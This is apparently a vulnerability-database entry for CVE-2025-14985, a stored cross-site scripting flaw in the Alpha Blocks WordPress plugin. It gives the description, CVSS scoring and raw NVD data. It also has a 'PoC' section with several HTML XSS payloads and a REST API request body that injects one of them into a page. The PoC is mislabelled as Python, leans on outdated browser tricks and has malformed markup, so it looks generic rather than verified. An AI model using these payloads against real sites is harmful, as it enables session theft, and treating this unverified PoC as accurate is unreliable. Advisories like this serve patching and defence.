Security Vulnerability Report
中文
CVE-2025-14985 CVSS 6.4 MEDIUM

CVE-2025-14985

Published: 2026-01-24 08:16:07
Last Modified: 2026-04-15 00:35:42

Description

The Alpha Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘alpha_block_css’ parameter in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Alpha Blocks插件 < 1.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-14985 PoC: Stored XSS via alpha_block_css parameter --> <!-- Requires Contributor-level WordPress access --> <!-- Method 1: Using CSS expression() --> <div class="alpha-block" data-css="xss:expr/*任意内容*/ession(alert(document.cookie))" style="width: 100px; height: 100px;"></div> <!-- Method 2: Using JavaScript URL in style --> <div class="alpha-block" style="background: url('javascript:alert("XSS")');"> </div> <!-- Method 3: Bypass with event handlers in style attribute --> <div class="alpha-block" style="-webkit-animation: test 1s infinite;" onmouseover="alert('XSS Triggered');"> </div> <!-- Exploit via REST API or block editor --> <!-- POST /wp-json/wp/v2/pages/{id} --> <!-- { "content": "<!-- wp:alpha-blocks/custom-block -->\n<div class=\"alpha-block\" data-css=\"xss:expr/*x*/ession(alert(document.cookie))\">恶意内容</div>\n<!-- /wp:alpha-blocks/custom-block -->", "status": "draft" } -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14985", "sourceIdentifier": "[email protected]", "published": "2026-01-24T08:16:06.763", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Alpha Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘alpha_block_css’ parameter in all versions up to, and including, 1.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Alpha Blocks para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'alpha_block_css' en todas las versiones hasta la 1.5.0, inclusive, debido a una sanitización insuficiente de la entrada y un escape de la salida. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/alpha-blocks/tags/1.5.0/class/block_inline_style.php#L175", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/745dcc4c-1c52-4ac7-9ac6-033770282a3b?source=cve", "source": "[email protected]"}]}}